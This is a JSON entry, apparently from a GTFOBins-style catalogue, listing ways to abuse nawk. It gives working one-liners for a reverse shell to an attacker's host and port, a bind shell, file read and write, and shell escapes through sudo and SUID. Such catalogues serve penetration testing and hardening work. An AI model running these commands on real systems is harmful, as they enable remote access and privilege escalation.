{ "functions": { "shell": [ { "code": "nawk 'BEGIN {system(\"/bin/sh\")}'" } ], "non-interactive-reverse-shell": [ { "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", "code": "nawk 'BEGIN {\n s = \"/inet/tcp/0/[host]/[port]\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "non-interactive-bind-shell": [ { "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.", "code": "nawk 'BEGIN {\n s = \"/inet/tcp/[port]/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "file-write": [ { "code": "nawk 'BEGIN { print \"DATA\" > \"[file]\" }'\n" } ], "file-read": [ { "code": "nawk '//' \"[file]\"\n" } ], "suid": [ { "code": "./nawk '//' \"[file]\"" } ], "sudo": [ { "code": "sudo nawk 'BEGIN {system(\"/bin/sh\")}'" } ], "limited-suid": [ { "code": "./nawk 'BEGIN {system(\"/bin/sh\")}'" } ] } }